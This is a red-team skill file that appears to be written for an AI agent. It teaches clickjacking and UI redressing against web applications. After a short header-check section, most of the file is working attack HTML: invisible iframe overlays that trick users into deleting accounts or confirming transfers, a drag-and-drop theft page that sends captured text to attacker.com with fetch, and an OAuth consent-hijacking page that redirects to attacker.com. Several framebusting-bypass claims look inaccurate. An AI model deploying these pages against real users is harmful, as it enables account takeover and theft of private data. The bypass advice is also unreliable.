---
name: rt-clickjacking
description: "Clickjacking, UI redressing, and drag-and-drop attack skill for authorized engagements. Classic clickjacking iframe overlay, multi-step clickjacking, drag-and-drop data theft, cursorjacking, touchscreen hijacking, clickjacking for CSRF bypass, and testing X-Frame-Options and Content-Security-Policy frame-ancestors. Use when testing applications that perform state-changing actions on clicks without CSRF tokens."
---

# rt-clickjacking — Clickjacking & UI Redressing

## Overview

Clickjacking tricks users into clicking on something different from what they perceive. An invisible iframe overlay of a target site sits on top of an attacker page — the user thinks they're clicking the attacker's UI but actually clicking the target's buttons (delete account, transfer funds, change email, authorize OAuth).

---

## Phase 1 — Detection

```bash
# Check X-Frame-Options header
curl -s -I https://target.com/ | grep -i "x-frame-options\|content-security-policy"

# X-Frame-Options: DENY = can't iframe at all (safe)
# X-Frame-Options: SAMEORIGIN = can only iframe from same origin (safe)
# No header = potentially vulnerable

# CSP frame-ancestors
# Content-Security-Policy: frame-ancestors 'none' (safe)
# Content-Security-Policy: frame-ancestors 'self' (safe)
# No frame-ancestors directive = check X-Frame-Options

# Quick test
cat > test_iframe.html << 'EOF'
<iframe src="https://target.com" width="800" height="600"></iframe>
EOF
# Open in browser — if target renders in iframe → clickjacking possible
```

---

## Phase 2 — Basic Clickjacking PoC

```html
<!-- Basic clickjacking — overlay invisible iframe over attacker button -->
<html>
<head>
<style>
#target-iframe {
    position: absolute;
    width: 800px;
    height: 600px;
    opacity: 0.0001;  /* Invisible but clickable */
    z-index: 2;
    top: 0; left: 0;
}
#decoy-button {
    position: absolute;
    z-index: 1;
    top: 450px;  /* Align with target's "Delete Account" button */
    left: 350px;
}
</style>
</head>
<body>
<iframe id="target-iframe" src="https://target.com/settings"></iframe>
<div id="decoy-button">
    <button>CLICK HERE TO WIN A PRIZE!</button>
</div>
</body>
</html>
```

---

## Phase 3 — Multi-Step Clickjacking

```html
<!-- Some actions require multiple clicks (confirm dialog, etc.) -->
<!-- Multi-step attack with animated decoy -->
<html>
<head>
<style>
#iframe { position:absolute; opacity:0.0001; z-index:2; width:700px; height:500px; }
#step1 { position:absolute; z-index:1; top:300px; left:400px; }
#step2 { position:absolute; z-index:1; top:400px; left:350px; display:none; }
</style>
</head>
<body>
<iframe id="iframe" src="https://target.com/transfer"></iframe>
<div id="step1">
  <button onclick="nextStep()">Click here for reward!</button>
</div>
<div id="step2">
  <button>Confirm your prize</button>
</div>
<script>
function nextStep() {
    document.getElementById('step1').style.display = 'none';
    document.getElementById('step2').style.display = 'block';
    // Reposition iframe to align with confirmation button
    document.getElementById('iframe').style.top = '200px';
}
</script>
</body>
</html>
```

---

## Phase 4 — Drag-and-Drop Data Theft

```html
<!-- Force user to drag text from target iframe to attacker input -->
<!-- Bypasses CSRF token (no click needed) -->
<html>
<head>
<style>
#hidden-iframe { position:absolute; opacity:0.0001; width:500px; height:300px; top:100px; left:0; }
#drop-zone { position:absolute; z-index:10; top:100px; left:0; width:500px; height:300px;
             background:rgba(0,0,0,0.01); }
#display { position:absolute; top:500px; }
</style>
</head>
<body>
<!-- Target iframe with sensitive text (email, token) -->
<iframe id="hidden-iframe" src="https://target.com/profile"></iframe>

<!-- Invisible drag-from zone overlaps target text -->
<div id="drop-zone" 
     ondragover="event.preventDefault()"
     ondrop="stealData(event)">
</div>

<!-- Attacker's visible "game" -->
<div style="z-index:5">
  <p>DRAG THE TEXT TO WIN! ↓</p>
  <div style="border:2px dashed red; height:100px; width:300px"
       ondragover="event.preventDefault()"
       ondrop="captureData(event)"></div>
</div>

<script>
function captureData(e) {
    var stolen = e.dataTransfer.getData('text/plain');
    fetch('https://attacker.com/collect?data=' + encodeURIComponent(stolen));
    document.getElementById('display').innerText = "Got: " + stolen;
}
</script>
</body>
</html>
```

---

## Phase 5 — Clickjacking for OAuth/Auth Bypass

```html
<!-- Clickjack OAuth "Authorize" button → grant permissions to attacker app -->
<html>
<style>
#oauth-iframe {
    position: absolute;
    opacity: 0.0001;
    z-index: 2;
    width: 700px;
    height: 700px;
}
#fake-button {
    position: absolute;
    z-index: 1;
    top: 580px;  /* Align with OAuth "Allow" button */
    left: 280px;
}
</style>
<body>
<iframe id="oauth-iframe"
        src="https://idp.target.com/oauth/authorize?client_id=ATTACKER_APP&response_type=token&scope=read:all&redirect_uri=https://attacker.com/callback">
</iframe>
<div id="fake-button">
    <button>Login with Google (click to continue)</button>
</div>
</body>
</html>
<!-- Victim clicks "Login with Google" → actually clicks OAuth Allow → grants attacker app access -->
```

---

## Phase 6 — Framebusting Bypass

```bash
# Some apps use JavaScript framebusting:
# if(top !== self) { top.location = self.location }

# Bypass 1: sandbox attribute (prevents framebusting JS)
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
# sandbox="allow-forms" allows form submission but blocks top.location access

# Bypass 2: onbeforeunload event (delays redirect)
<html>
<script>
window.onbeforeunload = function() { return "Leave page?" }
</script>
<iframe src="https://target.com"></iframe>
</html>
# User clicks "Stay" → framebusting prevented

# Bypass 3: HTML5 sandbox with allow-top-navigation
<iframe sandbox="allow-top-navigation allow-scripts allow-forms" src="https://target.com"></iframe>
```

---

## Skill Levels

**BEGINNER:** Basic opacity iframe PoC · X-Frame-Options detection

**INTERMEDIATE:** Multi-step clickjacking with repositioning · Framebusting bypass via sandbox

**ADVANCED:** Drag-and-drop data theft · OAuth clickjacking · Custom alignment for specific buttons

**EXPERT:** Cursorjacking · Touchscreen clickjacking on mobile · Combining with CSRF for amplified impact

---

## References

- PortSwigger Clickjacking: https://portswigger.net/web-security/clickjacking
- OWASP Clickjacking: https://owasp.org/www-community/attacks/Clickjacking
- Drag-and-drop research: https://www.contextis.com/en/blog/data-exfiltration-via-css-injection
